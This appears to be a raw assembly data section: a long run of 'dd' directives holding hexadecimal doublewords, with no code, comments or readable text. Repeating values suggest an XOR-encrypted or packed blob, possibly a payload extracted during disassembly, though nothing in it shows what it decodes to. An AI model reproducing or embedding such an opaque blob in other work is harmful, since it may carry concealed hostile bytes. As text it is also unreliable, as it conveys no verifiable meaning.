dd 24296DF6h, 48B7D39Eh, 0DC34017Ch, 44321E8Fh, 0CA105066h
dd 0A5D81169h, 9C09ECC5h, 265A3C0Eh, 2222FC88h, 0E01C1566h
dd 1BB5BE9Bh, 666BF37Eh, 2E453D52h, 0A4CD0789h, 8E260423h
dd 4420FD06h, 0DC601566h, 0A76F459Ch, 6D1D8E41h, 10157C59h
dd 270FE125h, 52E29400h, 5534A47h, 500906E3h, 223DFC60h
dd 0DB0B1566h, 0E0A22C5h, 68069360h, 0BA38072Fh, 0E8E2EA6Fh
dd 0F0A690EFh, 0CD3D137Dh, 22321577h, 1132198Fh, 45D166h
dd 0D3EB5681h, 48230F5Dh, 0F68A7586h, 0E936DEB2h, 5E6B90A0h
dd 0DA771372h, 710AD70Eh, 35475BCh, 256845ADh, 3377A099h
dd 77521372h, 553D4EDh, 500906E3h, 0F2CDE060h, 89B79C9Eh
dd 0E8340E1Eh, 44321C8Fh, 63C85C66h, 8B59473h, 48B29D5Eh
dd 0F9B17492h, 242607ABh, 56B71A66h, 87321567h, 443212E9h
dd 23BE1A66h, 0E8321566h, 0DF47406h, 42260F3Fh, 2226FC23h
dd 28C61566h, 0F33A510Ah, 1B0065BBh, 71E9C626h, 63A2C411h
dd 85DB4420h, 8321566h, 424D6227h, 6C1E5D48h, 7EBC98C0h
dd 644C930Eh, 2FDB759Ch, 5E321566h, 1F9F7F9Ah, 69814BC9h
dd 0C3A10B72h, 0EE53C5D0h, 9C2350D3h, 5CB41A60h, 0CB321566h
dd 11321575h, 0FBA72D1Ah, 17E23253h, 0BDF9AC7Ch, 0E97D91FEh
dd 507505Dh, 500906E3h, 0AA3D7560h, 11321563h, 703CEDCh
dd 87B97339h, 0CBE2EA07h, 1132156Dh, 0AA1A4C5Ah, 8B22B84Bh
dd 0ABB0A0E4h, 0A4A89E3h, 0DF4E060h, 42260F3Fh, 0AC3D752Ah
dd 11321570h, 8832058Eh, 4C33EB66h, 0B898DEE8h, 9C7C5EDFh
dd 34F108C0h, 0C43D4AD1h, 22321566h, 0C1F17D07h, 80DBF540h
dd 5C321566h, 2583C690h, 0EE55DAFDh, 9C2350D3h, 45BD1A60h
dd 0DE321566h, 2A2190EBh, 74521372h, 544AB00h, 0CBE2EA07h
dd 11321576h, 6517B22Fh, 7A448E56h, 9692E1EEh, 106C1887h
dd 0F09290EFh, 0C83D137Dh, 2232157Eh, 1132068Fh, 0BB0E3566h
dd 7B5FF0B3h, 84D0A8C7h, 0C4746B02h, 43F63E7Ch, 4433228Fh
dd 0A7F4E066h, 17260F3Fh, 855AE034h, 0AD8E5F82h, 22321574h
dd 4B91AAE7h, 0D563C966h, 6D7D0E2Bh, 103F9859h, 0A4CD977Ch
dd 8E26249Bh, 9FB37306h, 0E8B2886Eh, 94BF7468h, 8E262E75h
dd 44389569h, 42521566h, 0D4C49407h, 0E9198BCFh, 24E2EA9Eh
dd 98F5AC00h, 9853F9ECh, 934A89E3h, 443AFC60h, 0C4B71566h
dd 5FBC008Ah, 0DF4D83Ch, 42260F3Fh, 2BDB7534h, 69321566h
dd 14550732h, 33E97281h, 52E89400h, 1DB74E0h, 3B321566h
dd 8ACA994Eh, 0EACDED35h, 0CE11FDF0h, 0E0287EBFh, 0E27E5F2Eh
dd 2232048Fh, 0A19E9966h, 682E4634h, 5F16B4D2h, 2654AEA2h
dd 0A4CD8AB5h, 8E26249Bh, 44259269h, 30DB1566h, 57321566h
dd 897EED4Ch, 3ADA3E28h, 0DD9E7C84h, 5B39F97Ah, 9BB798D9h
dd 2434015Dh, 222B9B69h, 5DB1566h, 1321566h, 9A365642h
dd 0A1B901EEh, 25CEF493h, 0AA101274h, 0AC8566C9h, 2232156Bh
dd 3DAFBB88h, 245ED4E6h, 6EAB52F6h, 0DD534A27h, 10B71AB6h
dd 70321566h, 3C9290EFh, 33DB137Dh, 96321566h, 95DA351Ch
dd 6E46FE43h, 314A3C78h, 51438823h, 926B90A0h, 0BD601372h
dd 6086FF0Eh, 0E9CA759Bh, 0CD87EA07h, 24340177h, 0DAB84E34h
dd 2B79807h, 7034015Dh, 0CDCEC599h, 3611C0E3h, 0F0B37560h
dd 9A5A297Bh, 0E4BFBDDEh, 0A7F47463h, 17260F3Fh, 2B5AEC11h
dd 0B1C182CEh, 2B03A099h, 9CCA1372h, 9C0906E3h, 43DB7560h
dd 0AD321566h, 2EDDFA79h, 0F28A7B55h, 25046215h, 0A53DC599h
dd 11321576h, 883BFC06h, 0A2CA1566h, 0D94E9ADFh, 7010B6E1h
dd 0BC6390EFh, 0C73D1372h, 22321567h, 48B7D393h, 0DA34017Ch
dd 44339969h, 0DBC71566h, 0CC03020Eh, 8837FCECh, 69A61566h
dd 0DD0D0039h, 52350D3h, 8822FC60h, 5FAE1566h, 5E7277BAh
dd 6CC3BBDCh, 3639F5FFh, 0C1BFE0FCh, 24262E75h, 11321C8Fh
dd 9EDF4E66h, 3A7F2BD3h, 0F2CDC3EBh, 0ACB79C9Eh, 6134016Fh
dd 4432156Dh, 1F362DC3h, 37FC8073h, 87A79B8Ch, 443216E3h
dd 43CE7566h, 0B6B90A0h, 61641372h, 44321568h, 72F79FDEh
dd 0A9078F18h, 7912EC80h, 7D5A1C39h, 0DAE60A0Bh, 0BE3A099h
dd 9521372h, 0FAF618AFh, 431DA438h, 91E990EBh, 0B3D1371h
dd 4432156Ah, 22349069h, 983D1566h, 88321566h, 0C93DC599h
dd 22321567h, 0DCB79C9Fh, 71340160h, 5E6B90A0h, 0CB751372h
dd 1132156Ch, 0F481EA8Fh, 9B2521D9h, 585A740Bh, 0E8B3C976h
dd 9977A099h, 0C03D1372h, 22321571h, 11239969h, 84DB1566h
dd 43321566h, 7FF19907h, 0B7913E11h, 504E23Dh, 500906E3h
dd 2EBC1A60h, 0F8321566h, 88321561h, 0F3C2935Ch, 0DD7EC32Ah
dd 1120FCB6h, 7F161566h, 87215BDFh, 27212DFCh, 66CC0C53h
dd 0A4B38D74h, 41B790EFh, 0E4C71372h, 5284CE3h, 86DB5260h
dd 0BF321566h, 98263CE4h, 9D95BFF0h, 0C0F016AFh, 443DFC36h
dd 51631566h, 0EC9E32D7h, 0DE64921Eh, 25673BF1h, 97D07D74h
dd 9B529F69h, 6AB373AAh, 0BB5384FFh, 362350D3h, 0FEB37560h
dd 9A875954h, 0A97740DDh, 0A7BF7432h, 17262E75h, 88321A8Fh
dd 0A3A21966h, 0BB84E2BDh, 0FF80D6CDh, 0ACAC3436h, 0F152C599h
dd 27B41AE3h, 0A8321566h
dd 880212D2h, 84B79C07h, 0CB340E1Eh, 11321560h, 4B2695DFh
dd 83CE4F03h, 36311CE3h, 11326D60h, 35B1E066h, 42263EF3h
dd 5DB61A66h, 7132157Fh, 0BCED9400h, 838D1A90h, 7BB7D307h
dd 5D34017Ch, 94DB7D9Ah, 0BBC7CCBCh, 362350D3h, 113AFC60h
dd 9A011566h, 95AB791Ah, 0A7BF2944h, 17262E75h, 883F9169h
dd 4CDB1566h, 86321566h, 8FCE567Ah, 77AB847Fh, 43BD1AB6h
dd 42321566h, 47E3AA69h, 0DBB7438h, 42296DCAh, 223A9E69h
dd 77521566h, 0D84096D8h, 82CA743Ch, 36284CE3h, 2DB5960h
dd 0F0321566h, 521C1338h, 0AF9D09D6h, 0E1DA081Bh, 3257F67Fh
dd 8A5AD5FBh, 0DAEF61B8h, 77A099h, 73D1372h, 44321572h
dd 22321A8Fh, 0A6CC4C66h, 0D249BA9Ch, 0E2D910Eh, 95ACE77Dh
dd 2A2190EBh, 0EE521372h, 0E08ECCE7h, 0B245CEE7h, 0EE53393Bh
dd 8823FCB6h, 0E18B1566h, 65110557h, 0CF370794h, 78E64939h
dd 0CDA3F1B3h, 394AA5E3h, 19BC1A60h, 87321566h, 443217ECh
dd 0E4537566h, 5284CE3h, 33D5960h, 4432157Bh, 2220FC06h
dd 0E1CE1566h, 631A0CBh, 1E2B1CAAh, 85591158h, 0C316741h
dd 8BB0AD00h, 0C60D7D07h, 0AB3DA2E7h, 1132156Eh, 88309F69h
dd 25521566h, 3377A099h, 1EDB1372h, 0A4321566h, 0EC8FA281h
dd 61C8F6DEh, 7F2FC664h, 0DBF45DDh, 42262E75h, 22339569h
dd 0EECE1566h, 86B91AB6h, 0AD321566h, 2232156Fh, 0B565DE97h
dd 5D3C5D56h, 0F0B79CF4h, 0DB340E1Eh, 0B6B90A0h, 707E1372h
dd 6B720D0Eh, 2223FCD5h, 0F4461566h, 0A514BEB0h, 2CA6B84Fh
dd 0DD261928h, 71FB8C92h, 49CD4FDFh, 86B97308h, 6787EA07h
dd 0F8340177h, 88321574h, 0AA0ADA40h, 4B7D4EF8h, 5AFE65B1h
dd 0E4057235h, 0C1BF0DACh, 24262E75h, 17BF1A06h, 87321566h
dd 443215EDh, 6593AE66h, 0EE532D4Ch, 8FB31AB6h, 4B321566h
dd 223214E0h, 16DBEC66h, 56321566h, 5691E2D8h, 0A7BB5FEAh
dd 17296DD2h, 88321E8Fh, 8B1E6766h, 98FB8008h, 0B2EF410Fh
dd 926B90A0h, 4B741372h, 22320EEBh, 0E9B97566h, 8832078Fh
dd 1FC89E66h, 0FF7A60CDh, 1398B669h, 0C5927612h, 25BF6426h
dd 0FC34010Eh, 0AB61ADCh, 0E8321566h, 56DB4C30h, 0C7321566h
dd 68D15873h, 8A7EF6ACh, 402DABD0h, 0AF341A1Ch, 0A4CD7408h
dd 8E260423h, 8BB37306h, 0A3548CAAh, 7024928Ch, 88321F8Fh
dd 61D7766h, 53EE3588h, 9C2EE277h, 9C0906E3h, 0CE3D7560h
dd 2232157Fh, 1132018Fh, 77D07966h, 0CB9F47D4h, 90CEA246h
dd 0A5A3AFC7h, 0C41C8986h, 87B373F9h, 0DD537FB2h, 1126FCB6h
dd 2A5E1566h, 2C18033Eh, 0E150A412h, 983A273Dh, 2343A3F9h
dd 0C1BB0F3Dh, 24296DDAh, 5A887306h, 0DF47411h, 42260F3Fh
dd 585AED21h, 0E9B3C976h, 9977A099h, 0CD3D1372h, 22321574h
dd 1132188Fh, 1480EC66h, 4039E326h, 6BAF1880h, 94BFAB07h
dd 8E262E75h, 4432048Fh, 0D71D7E66h, 5526D693h, 0BA68F096h
dd 0C713FA17h, 0A83DB5EDh, 11321573h, 8832058Fh, 9FA0D666h
dd 933FA796h, 0A1E1125Fh, 0E71BCAD5h, 0ADE2EAFEh, 2232156Dh
dd 0CDD2E12Eh, 0BBC61C57h, 0CDCF9D6Bh, 394AD1E3h, 10B31A60h
dd 71321566h, 5E6B90A0h, 2D751372h, 11320FE4h, 9CB11A66h
dd 0AD321566h, 22321569h, 77B8D2Ch, 354D0Fh, 106BF5F1h
dd 4ABA066Bh, 0FEB59BCAh, 88339169h, 0BBC71566h, 362350D3h
dd 7BD1A60h, 61321566h, 44321577h, 0F84DC44Ah, 0EE37E8F5h
dd 0F7CC44D9h, 0E6F2F387h, 31B798C2h, 0F834015Dh, 88321574h
dd 7702A02Eh, 7E7695EFh, 97C53EEDh, 40E3CA8Dh, 94CD88CEh
dd 0EBEB9406h, 4276DFF5h, 88321C8Fh, 8ADC7D66h, 0B222DD4Fh
dd 7068901Dh, 88399269h, 22521566h, 9DFEB6D8h, 798E0E3Bh
dd 40B79C07h, 24340E1Eh, 0CACC9E00h, 11321561h, 41C77Ch
dd 127FBEF5h, 0D7534B39h, 0B6B90A0h, 87751372h, 443206EFh
dd 0CDB27566h, 113BFC0Bh, 0F9441566h, 214A70Dh, 437E52ABh
dd 8B95C70Eh, 8822FCB2h, 24A81566h, 9AD10315h, 0FF3B6E72h
dd 4808F9FBh, 0F1CD79D0h, 24260423h, 11359D69h, 8521566h
dd 1E624683h, 31B79807h, 0F834015Dh, 8832156Ah, 87215BDFh
dd 27212DFCh, 66CC0C53h, 883F9169h, 4CDB1566h, 0A1321566h
dd 0E056BAFBh, 77D7FCBDh, 0C1BBEDB6h, 24296DAAh, 112E9569h
dd 60521566h, 44321574h, 53CA50A2h, 1643CF33h, 470642BDh
dd 607D7500h, 426DF8DFh, 94F47407h, 8E260F3Fh, 4422FC21h
dd 0D6201566h, 0C3E7DB64h, 31BF2612h, 0A4795E02h, 265A24ABh
dd 0F888D45Fh, 88321560h, 0FD70050Ch, 27DBD085h, 9F321566h
dd 840AC8D5h, 5577A099h, 44521372h, 0F861E5EDh, 8832156Bh
dd 856C58F8h, 94C89944h, 9A5E5C0h, 5534BBCh, 500906E3h
dd 30B21A60h, 0F8321566h, 8832156Bh, 45F4E050h, 8079A866h
dd 0F52F2Bh, 80BA1A6Bh, 24321566h, 2DC5A269h, 0EE53CED1h
dd 94BB1AB6h, 4B321566h, 223203E0h, 1123FC66h, 0E15E1566h
dd 81B64B20h, 0B343490Ch, 0E40B4AC7h, 13A3839h, 5F4AC5E3h
dd 2ABB1A60h, 1E321566h, 883217ECh, 0C7537566h, 36121CDBh
dd 943D1560h, 88321506h, 1DB7D39Ah, 6534017Ch, 11389469h
dd 8DDB1566h, 2A321566h, 95459CF6h, 3C557D93h, 77C7F514h
dd 502350D3h, 0A7BFE060h, 17262E75h, 87E2EA9Fh, 443219E8h
dd 2235FC66h, 0F7501566h, 3952AA5h, 4421FCF2h, 0D7531566h
dd 7196D2F1h, 3B21EBFBh, 17C846D6h, 6F6D4002h, 0C5B79C73h
dd 71340E1Eh, 5E6B90A0h, 0DE751372h, 3881A40Eh, 3DCDEDE8h
dd 42260423h, 22339F69h, 9CCA1566h, 9C0906E3h, 50B91A60h
dd 0CB321566h, 11321569h, 8CBC3E12h, 5E51B3DDh, 8B8978CFh
dd 0EEECB38Ah, 8838FCB6h, 3561566h, 3B54735Bh, 2671102Fh
dd 8832188Fh, 479BDD66h, 0AFEE6984h, 5FF2773Ah, 0DBB8152h
dd 42296DBEh, 22339669h, 0D7C71566h, 9C284CE3h, 24525660h
dd 43C4AA69h, 41E1AC00h, 0C2957D07h, 4BDBD510h, 0E0321566h
dd 75BC5E1Fh, 0EAE693C0h, 0DDC116AEh, 97CD2628h, 17260423h
dd 9BB7989Eh, 0BC34015Dh, 22339A69h, 0EECE1566h, 0DBBE0B6h
dd 42296DBAh, 2220FC06h, 9441566h, 60D75B15h, 2E93570Eh
dd 0C18B5776h, 9BB70AA3h, 88349969h, 0CE3D1566h, 22321566h
dd 48B7D307h, 0C434017Ch, 44321A8Fh, 0C0D0B466h, 907EF43h
dd 0FA3A308Eh, 0C3740588h, 445EFE0Eh, 2DB759Dh, 0FF321566h
dd 2FFACFD4h, 11A69B5Dh, 10DA814Bh, 63A1DDB4h, 0FB3DD70Ch
dd 97CD7495h, 17261C57h, 9EB9E06h, 4D586997h, 0A7BF740Eh
dd 17262E75h, 882D9069h, 0C43D1566h, 2232157Fh, 1132018Fh
dd 7F872C66h, 558F2306h, 1266732Dh, 36061AFEh, 4D47931Fh
dd 0B1E2EA97h, 5B4290EFh, 7052137Dh, 926B90A0h, 24761372h
dd 2220FC93h, 98EB1566h, 55F42C58h, 12394D8Bh, 72C39E94h
dd 184391ACh, 9CB61A07h, 0AD321566h, 22321569h, 0A33602C5h
dd 0FBDDE6DFh, 4756E411h, 4AD20709h, 0AA419B33h, 748B7506h
dd 2541814Bh, 0DA53C5ECh, 77A099h, 0EE521372h, 15BCFDE7h
dd 1853AB00h, 94BFE907h, 8E262E75h, 44359B69h, 0A83D1566h
dd 11321567h, 61E2EA9Fh, 44321575h, 0AE664705h, 0B2D53D22h
dd 8AD73DA4h, 4A615173h, 2D40E8C8h, 113205EDh, 8839FC66h
dd 0B40D1566h, 83BB4770h, 499F3001h, 68B79CADh, 0AD340E1Eh
dd 22321576h, 92300639h
dd 0B3BF40C4h, 0FBC78C3Eh, 2F8CA151h, 0B6B90A0h, 0E8711372h
dd 5FC4AD00h, 22321D8Fh, 27096666h, 48D96490h, 0B85A7457h
dd 0CB8E9B08h, 1132156Ch, 38889372h, 0C3627156h, 97CD6BD8h
dd 17260423h, 8832018Fh, 0A2A81C66h, 5249682Dh, 5A59AD86h
dd 3D19C4A6h, 30ACE4D7h, 31B798B9h, 0E434015Dh, 1CBC599h
dd 5F4AF1E3h, 31DB7560h, 0F7321566h, 68250A21h, 9EE793BFh
dd 31ECE497h, 0DAEA91F5h, 6585B8EAh, 1DB7D307h, 7134017Ch
dd 11321F8Fh, 0B1EC4266h, 27D214C0h, 0D7B3958Ah, 10CBF0Eh
dd 13D75A0h, 44321562h, 3E97AD00h, 0EE534AD4h, 9C2350D3h
dd 22C77560h, 4372E8DEh, 2A2190EBh, 61521372h, 44321561h
dd 219F4BA7h, 0E889E2A0h, 70E2EA07h, 3CDA90EFh, 0CBCA137Dh
dd 11321577h, 0A42869C6h, 5F2D8E51h, 18458317h, 0FE116DBFh
dd 0C18F9605h, 4434016Fh, 21C39169h, 0D7CE1566h, 9C284CE3h
dd 0C33D5360h, 22321560h, 716B4706h, 0E0CE7407h, 0BEA4DB57h
dd 6787EA9Fh, 0F8340177h, 88321563h, 75CA90E3h, 31B7982Bh
dd 7134015Dh, 74E2EA07h, 3D7690EFh, 0AE3D137Dh, 1132156Eh
dd 88309E69h, 25521566h, 386B90A0h, 71741372h, 88309E69h
dd 25521566h, 43F5AA69h, 76FC9406h, 0E95626E6h, 0E308C30Eh
dd 97CDE99Ah, 17260423h, 9BB7989Eh, 2434015Dh, 2CE39400h
dd 15BA1A99h, 0EE321566h, 25361DDCh, 0A13DC599h, 11321573h
dd 8832058Fh, 511B3066h, 9335623Fh, 0F00E9BD5h, 96A6FE63h
dd 4AB91A75h, 0CB321566h, 1132156Fh, 0DA0863A9h, 9753F183h
dd 76B79C0Ch, 71340E1Fh, 438D1A93h, 1DB7D307h, 6434017Ch
dd 11299A69h, 3D1566h, 44321573h, 2232058Fh, 0E1163D66h
dd 0D36E6163h, 9EA5B703h, 47D439DDh, 0B5327D69h, 352879Ah
dd 25CC9EAEh, 3377A099h, 903D1372h, 8832156Ah, 44B41A06h
dd 44321566h, 7013BBDEh, 0B32190EBh, 0BBC71372h, 27DB75B6h
dd 0FA321566h, 0F6E0F247h, 175AF00h, 7AB79C07h, 71340E1Fh
dd 0CDD39400h, 255243E0h, 0A7F4743Fh, 17260F3Fh, 91BB1A20h
dd 0AD321566h, 22321572h, 8913578Eh, 8DCDFE00h, 3476811Fh
dd 31D10AD5h, 9687DC60h, 88229669h, 4FDB1566h, 0FD321566h
dd 0B7836574h, 1268A8EFh, 2E5AC4AFh, 0CBC4C129h, 11321568h
dd 30A77C2h, 900CBF21h, 0FD78BE3Ch, 0A4CD7380h, 8E260423h
dd 44339469h, 0AFC71566h, 50906E3h, 90B41A60h, 4B321566h
dd 223207EEh, 113FFC66h, 6B251566h, 407D55EDh, 2C9BC8CCh
dd 0EE5FACC2h, 99B11AB6h, 0AD321566h, 2232156Ah, 5A53B92Dh
dd 37F98CF0h, 7DD198EBh, 5B6E90EFh, 943D137Dh, 8832157Eh
dd 4432068Fh, 0A50FBB66h, 0BCDC0C23h, 9FDE3D75h, 0F01B7741h
dd 9B60B39Eh, 1132078Fh, 0D2C32066h, 71139C0h, 69712CD3h
dd 6BDA129Eh, 4E9F714Dh, 50284CE3h, 33DB5360h, 39321566h
dd 0F42AD99h, 0A6BF27F8h, 344F4970h, 2E090F63h, 4562F20Eh
dd 4426FCF2h, 0BEEA1566h, 18F3F200h, 4C758082h, 0D42E3651h
dd 0E49A7E71h, 0A4CD36F8h, 8E260423h, 443B9B69h, 74521566h
dd 0E0B3733Ch, 6153B852h, 44321569h, 0A8510395h, 0CCF79C78h
dd 0EF1AD10Ch, 0C9485614h, 360906E3h, 1DA7560h, 0DD321566h
dd 0CC7D01BAh, 0C948BD49h, 0A5B99235h, 877805C4h, 256AC2D1h
dd 0A952C599h, 5DB46A5h, 1321566h, 3C852962h, 53EC8A07h
dd 0AA275625h, 851C8AD7h, 1D108AB3h, 0A7BBED07h, 17296C2Eh
dd 7D53ED06h, 5E6B90A0h, 42741372h, 112A9D69h, 9BDB1566h
dd 71321566h, 1BFD38A2h, 0A64D31E3h, 0DC622EA3h, 9C8C4CECh
dd 0A43DF213h, 11321563h, 0E0FC9400h, 7F5A7458h, 2D833712h
dd 113219EBh, 8835FC66h, 0DCA91566h, 0C78DA6F6h, 5487EAE9h
dd 0E8340177h, 0C6DB46DCh, 0A7BF743Eh, 17262E75h, 88359869h
dd 0C93D1566h, 22321567h, 71E2EA9Fh, 0EBE19400h, 443DFD37h
dd 0C8231566h, 9E69159h, 0BC646017h, 3FA50C9Ah, 22BD1AC4h
dd 4B321566h, 8FDB7507h, 47321566h, 0A0194D6Bh, 98539E1Fh
dd 934B59E3h, 4439FC60h, 0A24C1566h, 95B05905h, 0FEB54D8Fh
dd 0C1F4ED24h, 24260F3Fh, 1122FC20h, 0EFF71566h, 198679EFh
dd 4177C414h, 6790BFA5h, 655A0F11h, 0ADED6C8Ch, 22321577h
dd 1370AE16h, 70FA947Ah, 4C317AFCh, 1B88EC96h, 5487EA1Ch
dd 7D340177h, 7F2190EBh, 0DDCE1372h, 1121FCB6h, 8F571566h
dd 3AC4D869h, 0E434D386h, 7019183Ah, 8D434EEh, 14B79C5Dh
dd 2D340E1Fh, 11321BECh, 883BFC66h, 38B11566h, 73E28009h
dd 92DE240Fh, 9C121CDBh, 0C13D1560h, 22321538h, 48B7D393h
dd 0DB34017Ch, 0F3CB7506h, 4A53748Ah, 0DF8CF538h, 82B91A9Fh
dd 24321566h, 0F2C39400h, 0DAF69505h, 0CD87EA07h, 0B8340177h
dd 192190EBh, 0DB1372h, 0D2321566h, 74F43725h, 2F9595Ch
dd 0CB00D875h, 3F2E4D2Eh, 0CDCEC599h, 394AF9E3h, 113AFC60h
dd 93B51566h, 68B1E17Fh, 0A7F42108h, 17260F3Fh, 9CB71A21h
dd 24321566h, 22321D8Fh, 0D3E92166h, 0BD817356h, 171EAB01h
dd 0CB536FBBh, 1132156Dh, 0AA1C4F8Fh, 2410D865h, 4A876DCDh
dd 0D6834BE1h, 8832068Fh, 1F911B66h, 97BCDFB4h, 0DCD760C0h
dd 86580A02h, 7E577641h, 3377A099h, 1EDB1372h, 9D321566h
dd 7E699ECAh, 5FFB4B23h, 0CD99E187h, 0D8524A74h, 1C9CE1E6h
dd 7B537537h, 2B79807h, 8734015Dh, 443214E2h, 0A03DEC66h
dd 1132156Ch, 87C19F06h, 443215E7h, 0F2CD7466h, 113F9B69h
dd 9521566h, 23C29FACh, 48EFAD0Ah, 985364EFh, 934AE5E3h
dd 0F9B1EC60h, 2426356Fh, 9FB71A66h, 61321566h, 44321577h
dd 0D14607FDh, 5C5D91DEh, 4CFE4E43h, 1D80717Ch, 7BB7D370h
dd 5634017Ch, 8832068Fh, 6678C166h, 7278A761h, 2271B4ABh
dd 9A70BEF4h, 0AEC07D3h, 404C100Eh, 19B81A80h, 0E8321566h
dd 0FE54D4EDh, 0DD53A4CDh, 52350D3h, 8834FC60h, 3B01566h
dd 14F3FF5Dh, 2A2190EBh, 77CB1372h, 45B31AB6h, 0DA321566h
dd 69C690EFh, 6152137Dh, 44321569h, 173D6A0Ah, 15FF10FDh
dd 624A0FD6h, 4B90F606h, 223217E7h, 70537566h, 0D1B7D39Eh
dd 734017Ch, 2232128Fh, 0C9280566h, 95360D77h, 3E3BE30Eh
dd 0D752E9F4h, 70F8A269h, 9977A099h, 0C9CA1372h, 360906E3h
dd 1123FC60h, 6D461566h, 6914BEB0h, 4AA6B84Fh, 0EE261928h
dd 77FB8C92h, 0C83DE9B6h, 2232156Eh, 11309F69h, 0E9521566h
dd 3CCA90EFh, 9652137Dh, 94F4744Ah, 8E260F3Fh, 0C73D7525h
dd 22321565h, 9AF0AA69h, 0A85A74A9h, 24CE34F1h, 5B62F8DEh
dd 1139FC41h, 356E1566h, 216B9669h, 2664D0EEh, 0A4CD7425h
dd 8E260423h, 54B51A93h, 0CB321566h, 1132156Dh, 642467A6h
dd 79943803h, 0AFCEDCA9h, 50906E3h, 0D6637560h, 44349D69h
dd 0A23D1566h, 11321566h, 87E2EA07h, 44321BE2h, 27DB7566h
dd 0ED321566h, 4B8F5DB3h, 4B53EEEDh, 22321CEDh, 4B627566h
dd 0BCD3D5DEh, 0C1BB745Eh, 24296D9Ah, 1126FD06h, 0C111566h
dd 3FB1C48Eh, 0F9B939A8h, 7CE1878Dh, 0F974076Bh, 0B3B37CBDh
dd 5202CA71h, 1134FD3Eh, 588C1566h, 0AF8790E6h, 7A4FDFE6h
dd 188F9607h, 88340146h, 45249069h, 0A33D1566h, 11321570h
dd 61C09E06h, 4432156Bh, 9AF32FEh, 966769B7h, 643BCC0Bh
dd 0C1F47460h, 24260F3Fh, 993D7525h, 88321563h, 27F39400h
dd 0AE3D75D9h, 11321566h
dd 8832078Fh, 62533466h, 7B7B30EDh, 0B4132C15h, 0C458804Fh
dd 2538C7FDh, 8A317D07h, 0E9529E66h, 88B41A31h, 1D321566h
dd 0E9B37507h, 24E387C7h, 9ED59400h, 0F1CD742Bh, 24260423h
dd 11321E8Fh, 23619A66h, 9D9454EBh, 3731B3Ah, 11339B69h
dd 5C71566h, 500906E3h, 0F2CDE060h, 11209D69h, 85DB1566h
dd 0C6321566h, 4424890Eh, 0B51C912Fh, 4F3F553Fh, 3D3690EFh
dd 0A23D137Dh, 11321568h, 88321C8Fh, 0A22D8566h, 0A6D72740h
dd 94F4F3DCh, 8E260F3Fh, 4FB31A25h, 42321566h, 0C4D71AD9h
dd 46897301h, 915A74E8h, 0DAD74E50h, 77A099h, 9ADB1372h
dd 0FC321566h, 56DBA78h, 0E52EB2DCh, 0A7F6EAC2h, 5D6743D2h
dd 31B798B8h, 1E34015Dh, 883214EEh, 94CDE966h, 22B79C9Ah
dd 0E9340E1Fh, 926B90A0h, 24711372h, 2232108Fh, 0EE814566h
dd 0EE52F77Bh, 4B4645D9h, 4353E2D9h, 0BB00F40Eh, 8752E98Ch
dd 25CAC4D1h, 3377A099h, 0A8521372h, 9CC5F45Eh, 25FA9E00h
dd 192190EBh, 91521372h, 7753CD92h, 6C8975B6h, 0A95FF648h
dd 98CE749Fh, 934B1DE3h, 8FB97560h, 4369EC31h, 0B6B90A0h
dd 87711372h, 443214EAh, 155AEC66h, 71B6E4CAh, 88379F69h
dd 4D8D1566h, 0A3496855h, 0DABAC4A1h, 3DCD7453h, 42260423h
dd 2232128Fh, 9DDE766h, 0C5444DE4h, 7F2190EBh, 0DDCE1372h
dd 913D75B6h, 88321566h, 443F9B69h, 25DA1566h, 97321566h
dd 57096F3Eh, 2569C8C7h, 2EB79C9Fh, 1E340E1Fh, 883214E4h
dd 0C1F4E966h, 24260F3Fh, 1139FC29h, 0C2E71566h, 0B8903DBFh
dd 79C91529h, 81E67DACh, 3E528253h, 443DFC5Ah, 0D1631566h
dd 0D5BCFEE1h, 8CE441EAh, 3AFE80A5h, 97CD7498h, 17260423h
dd 8832188Fh, 0BAE07266h, 0B4BB741Ch, 0F3F9D399h, 0DBFC792h
dd 42262E75h, 2238FC06h, 76E71566h, 0F21FA43Fh, 689BEED8h
dd 2DE2EA07h, 113214E2h, 0DBBED66h, 42296C76h, 22339569h
dd 0D7CE1566h, 9C284CE3h, 4B525A60h, 0CB60CBD1h, 1132156Fh
dd 7CB95274h, 83490FA3h, 4A534C6Eh, 0E85C1B64h, 883F9369h
dd 4CDB1566h, 0F9321566h, 0A1340DD5h, 87B2C1CAh, 443201E4h
dd 223DFC66h, 15301566h, 81DAD9D9h, 169D0E0Bh, 0D971BC6Eh
dd 5487EADAh, 0E8340177h, 44321F8Fh, 0B73A1B66h, 3B099225h
dd 0EE11877Dh, 89F7C3E7h, 31B79807h, 0F834015Dh, 88321576h
dd 4C0B8D3Ch, 17EB5430h, 87D3DA23h, 0FCB86481h, 0C83DC599h
dd 22321576h, 11321E8Fh, 5E47E466h, 0F036549Dh, 5DDEE5B3h
dd 1132048Fh, 0F762C66h, 0B04CB744h, 6D7FDC68h, 4179CE4Dh
dd 0DBBD2E2h, 42296C72h, 0CAB34406h, 3C03F0D1h, 883EFC39h
dd 0B3391566h, 186B9B80h, 0A5307FCDh, 4E53EFFDh, 50284CE3h
dd 24DB5860h, 0B2321566h, 0C6FAB62h, 0D5AED14h, 42FA221Fh
dd 11321C8Fh, 4727BA66h, 9C745ED7h, 0A954308Bh, 0A4CD749Ch
dd 8E260423h, 57B79893h, 0DA34015Dh, 14DBC599h, 63321566h
dd 0F86DEB57h, 5B2E90EFh, 1EC7137Dh, 883206E0h, 443CFC66h
dd 5F0D1566h, 0D27FFA1h, 870F7364h, 84A57D65h, 386B90A0h
dd 717F1372h, 883D9B69h, 4EDB1566h, 6E321566h, 6C20CFFAh
dd 34AC3CDAh, 25F59EA6h, 0D57F9C0Eh, 0A4CDECBAh, 8E260423h
dd 57B7989Eh, 0CB34015Dh, 1132156Dh, 2300F146h, 4BFA4B44h
dd 0DDDD1682h, 9A3DE9B6h, 8832156Ah, 0A3B37306h, 0A354AA75h
dd 701D3390h, 0F12A90EFh, 4FDB137Dh, 0D321566h, 0E7C9B860h
dd 30536E0Ah, 0C1F42B14h, 24260F3Fh, 265AED33h, 87AE0E4Bh
dd 44321FEDh, 0A63D7566h, 11321566h, 7753BDD2h, 502350D3h
dd 2220FC60h, 0F9A61566h, 1BFAC767h, 2DF07F8Dh, 0D3EEB52Ah
dd 0C3A325A5h, 0B32190EBh, 0C83D1372h, 22321567h, 0E8E2EA9Eh
dd 0F11290EFh, 4B52137Dh, 223214E7h, 0D5B2ED66h, 0DF47424h
dd 42260F3Fh, 85AEC25h, 71E0C096h, 88BC1A34h, 1F321566h
dd 5ED29400h, 9A3D7423h, 88321561h, 44339C69h, 0DDCE1566h
dd 52350D3h, 8826FC60h, 0C4201566h, 35FE49D1h, 0C9FF0461h
